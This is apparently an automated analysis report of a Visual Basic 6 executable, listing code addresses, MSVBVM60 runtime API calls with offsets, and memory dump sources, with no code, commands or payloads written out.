        0x0040fb1f
        0x0040fb25
        0x0040fb2a
        0x0040fb2a
        0x0040fb3c
        0x0040fb40
        0x0040fb44
        0x0040fb48
        0x0040fb49
        0x0040fb4b
        0x0040fb50
        0x0040fb56
        0x0040fb56
        0x0040fb62
        0x0040fb7f
        0x0040fb64
        0x0040fb64
        0x0040fb69
        0x0040fb6e
        0x0040fb73
        0x0040fb73
        0x0040fba3
        0x0040fba7
        0x0040fbac
        0x0040fbc7
        0x0040fbca
        0x0040fbcc
        0x0040fbd9
        0x0040fbfb
        0x0040fbdb
        0x0040fbdb
        0x0040fbdd
        0x0040fbe2
        0x0040fbe8
        0x0040fbee
        0x0040fbf3
        0x0040fbf3
        0x0040fc09
        0x0040fc26
        0x0040fc0b
        0x0040fc0b
        0x0040fc10
        0x0040fc15
        0x0040fc1a
        0x0040fc1a
        0x0040fc4a
        0x0040fc4e
        0x0040fc53
        0x0040fc6e
        0x0040fc71
        0x0040fc73
        0x0040fc80
        0x0040fca2
        0x0040fc82
        0x0040fc82
        0x0040fc84
        0x0040fc89
        0x0040fc8f
        0x0040fc95
        0x0040fc9a
        0x0040fc9a
        0x0040fcae
        0x0040fcb1
        0x0040fcb6
        0x0040fcc0
        0x0040fcd0
        0x0040fcdc
        0x0040fcdf
        0x0040fce6
        0x0040fcf0
        0x0040fd02
        0x0040fd0c
        0x0040fd19
        0x0040fd1a
        0x0040fd1b
        0x0040fd1c
        0x0040fd34
        0x0040fd3a
        0x0040fd47
        0x0040fd48
        0x0040fd49
        0x0040fd4a
        0x0040fd53
        0x0040fd5c
        0x0040fd6b
        0x0040fd70
        0x0040fd76
        0x0040fd83
        0x0040fd89
        0x0040fd96
        0x0040fdb8
        0x0040fd98
        0x0040fd98
        0x0040fd9d
        0x0040fda2
        0x0040fda5
        0x0040fdab
        0x0040fdb0
        0x0040fdb0
        0x0040fdc6
        0x0040fde3
        0x0040fdc8
        0x0040fdc8
        0x0040fdcd
        0x0040fdd2
        0x0040fdd7
        0x0040fdd7
        0x0040fe07
        0x0040fe0b
        0x0040fe10
        0x0040fe2b
        0x0040fe2e
        0x0040fe30
        0x0040fe3d
        0x0040fe5f
        0x0040fe3f
        0x0040fe3f
        0x0040fe41
        0x0040fe46
        0x0040fe4c
        0x0040fe52
        0x0040fe57
        0x0040fe57
        0x0040fe6d
        0x0040fe8a
        0x0040fe6f
        0x0040fe6f
        0x0040fe74
        0x0040fe79
        0x0040fe7e
        0x0040fe7e
        0x0040fea4
        0x0040feae
        0x0040feb2
        0x0040feb7
        0x0040fed2
        0x0040fed5
        0x0040fed7
        0x0040fee4
        0x0040ff06
        0x0040fee6
        0x0040fee6
        0x0040fee8
        0x0040feed
        0x0040fef3
        0x0040fef9
        0x0040fefe
        0x0040fefe
        0x0040ff13
        0x0040ff16
        0x0040ff23
        0x0040ff3c
        0x0040ff53
        0x0040ff62
        0x0040ff6a
        0x0040ff6e
        0x0040ff6f
        0x0040ff71
        0x0040ff76
        0x0040ff7c
        0x0040ff88
        0x0040ffa5
        0x0040ff8a
        0x0040ff8a
        0x0040ff8f
        0x0040ff94
        0x0040ff99
        0x0040ff99
        0x0040ffc9
        0x0040ffcd
        0x0040ffd2
        0x0040ffed
        0x0040fff3
        0x0040fff5
        0x00410002
        0x00410027
        0x00410004
        0x00410004
        0x00410009
        0x0041000e
        0x00410014
        0x0041001a
        0x0041001f
        0x0041001f
        0x00410034
        0x00410037
        0x0041003e
        0x00410048
        0x00410057
        0x0041005a
        0x0041007e
        0x0041008d
        0x0041009a
        0x004100a1
        0x004100a9
        0x004100b1
        0x004100b6
        0x004100c0
        0x004100d3
        0x004100dd
        0x004100e0
        0x004100ed
        0x0041010a
        0x00410113
        0x0041011b
        0x00410127
        0x00410144
        0x00410129
        0x00410129
        0x0041012e
        0x00410133
        0x00410138
        0x00410138
        0x00410168
        0x0041016c
        0x00410171
        0x0041018c
        0x00410192
        0x00410194
        0x004101a1
        0x004101c6
        0x004101a3
        0x004101a3
        0x004101a8
        0x004101ad
        0x004101b3
        0x004101b9
        0x004101be
        0x004101be
        0x004101cd
        0x004101d7
        0x004101ee
        0x004101fb
        0x004101fc
        0x004101fd
        0x004101fe
        0x0041020d
        0x00410216
        0x00410222
        0x0041023f
        0x00410224
        0x00410224
        0x00410229
        0x0041022e
        0x00410233
        0x00410233
        0x00410263
        0x00410267
        0x0041026c
        0x00410284
        0x00410287
        0x00410289
        0x00410296
        0x004102b8
        0x00410298
        0x00410298
        0x0041029a
        0x0041029f
        0x004102a5
        0x004102ab
        0x004102b0
        0x004102b0
        0x004102c6
        0x004102e3
        0x004102c8
        0x004102c8
        0x004102cd
        0x004102d2
        0x004102d7
        0x004102d7
        0x00410307
        0x0041030b
        0x00410310
        0x0041032b
        0x00410331
        0x00410333
        0x00410340
        0x00410365
        0x00410342
        0x00410342
        0x00410347
        0x0041034c
        0x00410352
        0x00410358
        0x0041035d
        0x0041035d
        0x00410372
        0x0041037b
        0x00410381
        0x0041038b
        0x0041038e
        0x00410395
        0x0041039f
        0x004103af
        0x004103e7
        0x004103f3
        0x004103f9
        0x004103fd
        0x004103fe
        0x00410400
        0x00410405
        0x0041040b
        0x00410417
        0x00410434
        0x00410419
        0x00410419
        0x0041041e
        0x00410423
        0x00410428
        0x00410428
        0x00410458
        0x0041045c
        0x00410461
        0x0041047c
        0x00410482
        0x00410484
        0x00410491
        0x004104b6
        0x00410493
        0x00410493
        0x00410498
        0x0041049d
        0x004104a3
        0x004104a9
        0x004104ae
        0x004104ae
        0x004104c4
        0x004104e1
        0x004104c6
        0x004104c6
        0x004104cb
        0x004104d0
        0x004104d5
        0x004104d5
        0x00410505
        0x00410509
        0x0041050e
        0x00410526
        0x0041052c
        0x0041052e
        0x0041053b
        0x00410560
        0x0041053d
        0x0041053d
        0x00410542
        0x00410547
        0x0041054d
        0x00410553
        0x00410558
        0x00410558
        0x0041056a
        0x00410570
        0x0041057a
        0x0041057d
        0x00410587
        0x00410591
        0x004105a3
        0x004105a8
        0x004105b2
        0x004105bc
        0x004105c6
        0x004105d9
        0x004105f9
        0x00410606
        0x00410607
        0x00410608
        0x00410609
        0x0041061b
        0x00410621
        0x0041062e
        0x00410650
        0x00410630
        0x00410630
        0x00410635
        0x0041063a
        0x0041063d
        0x00410643
        0x00410648
        0x00410648
        0x0041065a
        0x00410662
        0x00410666
        0x00410667
        0x00410669
        0x00410677
        0x0041067b
        0x0041067c
        0x0041067e
        0x00410683
        0x0041068d
        0x004106aa
        0x0041068f
        0x0041068f
        0x00410694
        0x00410699
        0x0041069e
        0x0041069e
        0x004106c4
        0x004106ce
        0x004106d2
        0x004106d7
        0x004106f2
        0x004106f8
        0x004106fa
        0x00410707
        0x0041072c
        0x00410709
        0x00410709
        0x0041070e
        0x00410713
        0x00410719
        0x0041071f
        0x00410724
        0x00410724
        0x00410741
        0x00410752
        0x0041075e
        0x00410764
        0x00410770
        0x0041078d
        0x00410772
        0x00410772
        0x00410777
        0x0041077c
        0x00410781
        0x00410781
        0x004107b1
        0x004107b5
        0x004107ba
        0x004107d2
        0x004107d8
        0x004107da
        0x004107e7
        0x0041080c
        0x004107e9
        0x004107e9
        0x004107ee
        0x004107f3
        0x004107f9
        0x004107ff
        0x00410804
        0x00410804
        0x0041081a
        0x00410837
        0x0041081c
        0x0041081c
        0x00410821
        0x00410826
        0x0041082b
        0x0041082b
        0x0041085b
        0x0041085f
        0x00410864
        0x0041087f
        0x00410882
        0x00410884
        0x00410891
        0x004108b3
        0x00410893
        0x00410893
        0x00410895
        0x0041089a
        0x004108a0
        0x004108a6
        0x004108ab
        0x004108ab
        0x004108c1
        0x004108de
        0x004108c3
        0x004108c3
        0x004108c8
        0x004108cd
        0x004108d2
        0x004108d2
        0x00410902
        0x00410906
        0x0041090b
        0x00410923
        0x00410929
        0x0041092b
        0x00410938
        0x0041095d
        0x0041093a
        0x0041093a
        0x0041093f
        0x00410944
        0x0041094a
        0x00410950
        0x00410955
        0x00410955
        0x0041096b
        0x00410988
        0x0041096d
        0x0041096d
        0x00410972
        0x00410977
        0x0041097c
        0x0041097c
        0x004109a2
        0x004109ac
        0x004109b0
        0x004109b5
        0x004109cd
        0x004109d3
        0x004109d5
        0x004109e2
        0x00410a07
        0x004109e4
        0x004109e4
        0x004109e9
        0x004109ee
        0x004109f4
        0x004109fa
        0x004109ff
        0x004109ff
        0x00410a1c
        0x00410a24
        0x00410a2b
        0x00410a30
        0x00410a39
        0x00410a3f
        0x00410a49
        0x00410a4c
        0x00410a5c
        0x00410a65
        0x00410a6b
        0x00410a75
        0x00410a78
        0x00410a7f
        0x00410aa3
        0x00410ac0
        0x00410ac9
        0x00410acd
        0x00410ad1
        0x00410ad5
        0x00410ad9
        0x00410ada
        0x00410adc
        0x00410aea
        0x00410af1
        0x00410af5
        0x00410af6
        0x00410af8
        0x00410afd
        0x00410b07
        0x00410b24
        0x00410b09
        0x00410b09
        0x00410b0e
        0x00410b13
        0x00410b18
        0x00410b18
        0x00410b48
        0x00410b4c
        0x00410b51
        0x00410b69
        0x00410b6f
        0x00410b71
        0x00410b7e
        0x00410ba3
        0x00410b80
        0x00410b80
        0x00410b85
        0x00410b8a
        0x00410b90
        0x00410b96
        0x00410b9b
        0x00410b9b
        0x00410baa
        0x00410bac
        0x00410bae
        0x00410bb7
        0x00410bb8
        0x00410bbd
        0x00410bc7
        0x00410be4
        0x00410bc9
        0x00410bc9
        0x00410bce
        0x00410bd3
        0x00410bd8
        0x00410bd8
        0x00410c08
        0x00410c0c
        0x00410c11
        0x00410c29
        0x00410c2f
        0x00410c31
        0x00410c3e
        0x00410c63
        0x00410c40
        0x00410c40
        0x00410c45
        0x00410c4a
        0x00410c50
        0x00410c56
        0x00410c5b
        0x00410c5b
        0x00410c71
        0x00410c8e
        0x00410c73
        0x00410c73
        0x00410c78
        0x00410c7d
        0x00410c82
        0x00410c82
        0x00410cb2
        0x00410cb6
        0x00410cbb
        0x00410cd6
        0x00410cdc
        0x00410cde
        0x00410ceb
        0x00410d10
        0x00410ced
        0x00410ced
        0x00410cf2
        0x00410cf7
        0x00410cfd
        0x00410d03
        0x00410d08
        0x00410d08
        0x00410d17
        0x00410d21
        0x00410d2b
        0x00410d32
        0x00410d3c
        0x00410d46
        0x00410d56
        0x00410d59
        0x00410d67
        0x00410d74
        0x00410d75
        0x00410d76
        0x00410d77
        0x00410d7b
        0x00410d82
        0x00410d97
        0x00410da6
        0x00410dac
        0x00410db9
        0x00410ddb
        0x00410dbb
        0x00410dbb
        0x00410dc0
        0x00410dc5
        0x00410dc8
        0x00410dce
        0x00410dd3
        0x00410dd3
        0x00410de5
        0x00410ded
        0x00410df1
        0x00410df5
        0x00410df9
        0x00410dfa
        0x00410dfc
        0x00410e0a
        0x00410e11
        0x00410e15
        0x00410e16
        0x00410e18
        0x00410e27
        0x00410e44
        0x00410e29
        0x00410e29
        0x00410e2e
        0x00410e33
        0x00410e38
        0x00410e38
        0x00410e68
        0x00410e6c
        0x00410e71
        0x00410e89
        0x00410e8c
        0x00410e8e
        0x00410e9b
        0x00410ebd
        0x00410e9d
        0x00410e9d
        0x00410e9f
        0x00410ea4
        0x00410eaa
        0x00410eb0
        0x00410eb5
        0x00410eb5
        0x00410ec7
        0x00410ecd
        0x00410ed7
        0x00410eda
        0x00410ee1
        0x00410eeb
        0x00410f03
        0x00410f10
        0x00410f11
        0x00410f12
        0x00410f13
        0x00410f1c
        0x00410f28
        0x00410f2e
        0x00410f36
        0x00410f42
        0x00410f5f
        0x00410f44
        0x00410f44
        0x00410f49
        0x00410f4e
        0x00410f53
        0x00410f53
        0x00410f83
        0x00410f87
        0x00410f8c
        0x00410fa4
        0x00410faa
        0x00410fac
        0x00410fb9
        0x00410fde
        0x00410fbb
        0x00410fbb
        0x00410fc0
        0x00410fc5
        0x00410fcb
        0x00410fd1
        0x00410fd6
        0x00410fd6
        0x00410fe5
        0x00410fe7
        0x00410fe9
        0x00410fef
        0x00410ff0
        0x00410fff
        0x0041101c
        0x00411001
        0x00411001
        0x00411006
        0x0041100b
        0x00411010
        0x00411010
        0x00411040
        0x00411044
        0x00411049
        0x00411061
        0x00411067
        0x00411069
        0x00411076
        0x0041109b
        0x00411078
        0x00411078
        0x0041107d
        0x00411082
        0x00411088
        0x0041108e
        0x00411093
        0x00411093
        0x004110a9
        0x004110c6
        0x004110ab
        0x004110ab
        0x004110b0
        0x004110b5
        0x004110ba
        0x004110ba
        0x004110ea
        0x004110ee
        0x004110f3
        0x0041110e
        0x00411114
        0x00411116
        0x00411123
        0x00411148
        0x00411125
        0x00411125
        0x0041112a
        0x0041112f
        0x00411135
        0x0041113b
        0x00411140
        0x00411140
        0x00411156
        0x00411173
        0x00411158
        0x00411158
        0x0041115d
        0x00411162
        0x00411167
        0x00411167
        0x00411197
        0x0041119b
        0x004111a0
        0x004111bb
        0x004111c1
        0x004111c3
        0x004111d0
        0x004111f5
        0x004111d2
        0x004111d2
        0x004111d7
        0x004111dc
        0x004111e2
        0x004111e8
        0x004111ed
        0x004111ed
        0x004111fc
        0x00411206
        0x00411216
        0x0041121c
        0x00411226
        0x00411233
        0x00411239
        0x00411243
        0x00411246
        0x00411250
        0x00411254
        0x00411259
        0x0041125f
        0x0041129e
        0x004112ad
        0x004112b9
        0x004112bf
        0x004112c3
        0x004112c7
        0x004112cb
        0x004112cf
        0x004112d0
        0x004112d2
        0x004112e0
        0x004112e7
        0x004112ee
        0x004112f2
        0x004112f3
        0x004112f5
        0x00411304
        0x00411321
        0x00411306
        0x00411306
        0x0041130b
        0x00411310
        0x00411315
        0x00411315
        0x00411345
        0x00411349
        0x0041134e
        0x00411369
        0x0041136f
        0x00411371
        0x0041137e
        0x004113a3
        0x00411380
        0x00411380
        0x00411385
        0x0041138a
        0x00411390
        0x00411396
        0x0041139b
        0x0041139b
        0x004113b1
        0x004113ce
        0x004113b3
        0x004113b3
        0x004113b8
        0x004113bd
        0x004113c2
        0x004113c2
        0x004113f2
        0x004113f6
        0x004113fb
        0x00411416
        0x0041141c
        0x0041141e
        0x0041142b
        0x00411450
        0x0041142d
        0x0041142d
        0x00411432
        0x00411437
        0x0041143d
        0x00411443
        0x00411448
        0x00411448
        0x0041145e
        0x0041147b
        0x00411460
        0x00411460
        0x00411465
        0x0041146a
        0x0041146f
        0x0041146f
        0x0041149f
        0x004114a3
        0x004114a8
        0x004114c0
        0x004114c6
        0x004114c8
        0x004114d5
        0x004114fa
        0x004114d7
        0x004114d7
        0x004114dc
        0x004114e1
        0x004114e7
        0x004114ed
        0x004114f2
        0x004114f2
        0x00411501
        0x0041150b
        0x00411515
        0x0041152b
        0x00411530
        0x0041153a
        0x00411547
        0x0041154d
        0x00411557
        0x0041155a
        0x00411568
        0x00411576
        0x004115ae
        0x004115b4
        0x004115c1
        0x004115e3
        0x004115c3
        0x004115c3
        0x004115c8
        0x004115cd
        0x004115d0
        0x004115d6
        0x004115db
        0x004115db
        0x004115f0
        0x00411601
        0x00411616
        0x00411626
        0x0041162c
        0x0041162e
        0x0041163b
        0x0041165d
        0x0041163d
        0x0041163d
        0x00411642
        0x00411647
        0x0041164a
        0x00411650
        0x00411655
        0x00411655
        0x00411669

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 0040F772
        • #521.MSVBVM60(00402B68,?,?,?,?,00401226), ref: 0040F7A6
        • __vbaStrMove.MSVBVM60(00402B68,?,?,?,?,00401226), ref: 0040F7B0
        • __vbaStrCmp.MSVBVM60(00402B74,00000000,00402B68,?,?,?,?,00401226), ref: 0040F7BB
        • __vbaFreeStr.MSVBVM60(00402B74,00000000,00402B68,?,?,?,?,00401226), ref: 0040F7D2
        • __vbaNew2.MSVBVM60(00402110,@'o,00402B74,00000000,00402B68,?,?,?,?,00401226), ref: 0040F7F9
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040F832
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000158), ref: 0040F87C
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0040F8A3
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040F8DC
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000058), ref: 0040F923
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0040F94A
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040F983
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,00000060), ref: 0040F9CA
        • __vbaNew2.MSVBVM60(00402BB8,0041633C), ref: 0040F9F1
        • __vbaChkstk.MSVBVM60(?), ref: 0040FA92
        • __vbaChkstk.MSVBVM60(?), ref: 0040FAA6
        • __vbaChkstk.MSVBVM60(?), ref: 0040FABA
        • __vbaChkstk.MSVBVM60(?), ref: 0040FACE
        • __vbaChkstk.MSVBVM60(?), ref: 0040FAE2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,00000044), ref: 0040FB25
        • __vbaFreeObjList.MSVBVM60(00000004,?,?,?,?), ref: 0040FB4B
        • __vbaFreeVar.MSVBVM60(?,?,?,?,00401226), ref: 0040FB56
        • __vbaNew2.MSVBVM60(00402110,@'o,00402B74,00000000,00402B68,?,?,?,?,00401226), ref: 0040FB6E
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040FBA7
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000070), ref: 0040FBEE
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0040FC15
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040FC4E
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000058), ref: 0040FC95
        • __vbaStrCopy.MSVBVM60(00000000,?,00402B78,00000058), ref: 0040FCB1
        • __vbaChkstk.MSVBVM60(?), ref: 0040FD0C
        • __vbaChkstk.MSVBVM60(?,00000003,00810059,?,?), ref: 0040FD3A
        • __vbaFreeStr.MSVBVM60(?,00000003,00810059,?,?), ref: 0040FD5C
        • __vbaFreeObjList.MSVBVM60(00000002,?,?,?,00000003,00810059,?,?), ref: 0040FD6B
        • __vbaFreeVar.MSVBVM60(?,?,00401226), ref: 0040FD76
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401140,004029CC,000006F8), ref: 0040FDAB
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0040FDD2
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040FE0B
        • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402BF0,00000060), ref: 0040FE52
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0040FE79
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040FEB2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,00000060), ref: 0040FEF9
        • __vbaVarMove.MSVBVM60(?,?,00000003,?), ref: 0040FF62
        • __vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,00000003,?), ref: 0040FF71
        • __vbaFreeVar.MSVBVM60(?,?,?,?,?,00401226), ref: 0040FF7C
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,?,00401226), ref: 0040FF94
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040FFCD
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000178), ref: 0041001A
        • __vbaStrCopy.MSVBVM60(00000000,?,00402B78,00000178), ref: 0041005A
        • __vbaFreeStr.MSVBVM60(?,?,004FA7FA,611850A0,00000003,?), ref: 004100A1
        • __vbaFreeObj.MSVBVM60(?,?,004FA7FA,611850A0,00000003,?), ref: 004100A9
        • __vbaFreeVar.MSVBVM60(?,?,004FA7FA,611850A0,00000003,?), ref: 004100B1
        • __vbaVarDup.MSVBVM60(?,?,004FA7FA,611850A0,00000003,?), ref: 004100D3
        • __vbaStrCopy.MSVBVM60(?,?,004FA7FA,611850A0,00000003,?), ref: 004100E0
        • __vbaFreeStr.MSVBVM60(?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 00410113
        • __vbaFreeVar.MSVBVM60(?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 0041011B
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 00410133
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 0041016C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,00000158,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 004101B9
        • __vbaChkstk.MSVBVM60(DE511AD0,00005AF3,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 004101EE
        • __vbaFreeObj.MSVBVM60(?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 00410216
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 0041022E
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 00410267
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,00000048,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 004102AB
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 004102D2
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 0041030B
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,000001A0,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 00410358
        • __vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,004FA7FA,611850A0,00000003,?), ref: 00410400
        • __vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,00401226), ref: 0041040B
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,?,?,?,?,00401226), ref: 00410423
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041045C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,000001E8), ref: 004104A9
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 004104D0
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00410509
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,000000F8), ref: 00410553
        • __vbaStrCopy.MSVBVM60(00000000,?,00402BF0,000000F8), ref: 004105A3
        • __vbaVarDup.MSVBVM60(00000000,?,00402BF0,000000F8), ref: 004105D9
        • __vbaChkstk.MSVBVM60(?,?,1BC2BF50,00000009), ref: 004105F9
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401140,004029CC,000006FC), ref: 00410643
        • __vbaFreeStr.MSVBVM60(00000000,00401140,004029CC,000006FC), ref: 0041065A
        • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00410669
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 0041067E
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00410699
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 004106D2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,00000110), ref: 0041071F
        • __vbaFreeObj.MSVBVM60(?,?), ref: 00410764
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?), ref: 0041077C
        • __vbaObjSet.MSVBVM60(?,00000000,?,?), ref: 004107B5
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,00000158,?,?), ref: 004107FF
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?), ref: 00410826
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?), ref: 0041085F
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402CBC,00000060,?,?,?,?), ref: 004108A6
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?), ref: 004108CD
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?), ref: 00410906
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000238,?,?,?,?,?,?), ref: 00410950
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,?,?), ref: 00410977
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?), ref: 004109B0
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,00000178,?,?,?,?,?,?,?,?), ref: 004109FA
        • __vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00410A1C
        • __vbaI4Var.MSVBVM60(?), ref: 00410A2B
        • __vbaFreeObjList.MSVBVM60(00000005,?,?,?,?,?,?,00000008,?,00005F9E), ref: 00410ADC
        • __vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,?,?,?,?,?), ref: 00410AF8
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,?,?,?,?,?,?), ref: 00410B13
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00410B4C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,00000100), ref: 00410B96
        • __vbaLateIdCallLd.MSVBVM60(?,00000000,00000000,00000000), ref: 00410BB8
        • __vbaNew2.MSVBVM60(00402110,@'o,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00410BD3
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00410C0C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,00000108), ref: 00410C56
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00410C7D
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00410CB6
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,000000F8), ref: 00410D03
        • __vbaVarDup.MSVBVM60(00000000,?,00402B88,000000F8), ref: 00410D59
        • __vbaChkstk.MSVBVM60(?), ref: 00410D67
        • __vbaI4Var.MSVBVM60(?,00000000,?), ref: 00410D82
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401140,004029CC,00000700,?,?,00000003,00000000,?,00000000,?), ref: 00410DCE
        • __vbaFreeStr.MSVBVM60(?,?,00000003,00000000,?,00000000,?), ref: 00410DE5
        • __vbaFreeObjList.MSVBVM60(00000004,?,?,?,00000000,?,?,00000003,00000000,?,00000000,?), ref: 00410DFC
        • __vbaFreeVarList.MSVBVM60(00000003,?,00000003,?), ref: 00410E18
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00410E33
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00410E6C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000048), ref: 00410EB0
        • __vbaChkstk.MSVBVM60(00000008,?), ref: 00410F03
        • __vbaFreeObj.MSVBVM60 ref: 00410F2E
        • __vbaFreeVar.MSVBVM60 ref: 00410F36
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00410F4E
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00410F87
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B88,00000158), ref: 00410FD1
        • __vbaLateIdCallLd.MSVBVM60(00000008,00000000,00000000,00000000), ref: 00410FF0
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0041100B
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00411044
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,00000130), ref: 0041108E
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 004110B5
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 004110EE
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000170), ref: 0041113B
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00411162
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041119B
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,000001C8), ref: 004111E8
        • __vbaI4Var.MSVBVM60(00000008), ref: 00411254
        • __vbaFreeObjList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 004112D2
        • __vbaFreeVarList.MSVBVM60(00000004,00000008,00000008,00000003,00000003), ref: 004112F5
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 00411310
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 00411349
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,000001C8), ref: 00411396
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 004113BD
        • __vbaObjSet.MSVBVM60(00000000,00000000), ref: 004113F6
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402B78,00000098), ref: 00411443
        • __vbaNew2.MSVBVM60(00402110,@'o), ref: 0041146A
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 004114A3
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BF0,00000178), ref: 004114ED
        • __vbaVarDup.MSVBVM60(00000000,?,00402BF0,00000178), ref: 0041152B
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401140,004029CC,00000704), ref: 004115D6
        • __vbaFreeObjList.MSVBVM60(00000003,?,00000000,?), ref: 00411601
        • __vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 00411616
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401140,0040299C,000002B4), ref: 00411650
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckHresult$Free$New2$List$Chkstk$Copy$CallLate$Move$#521
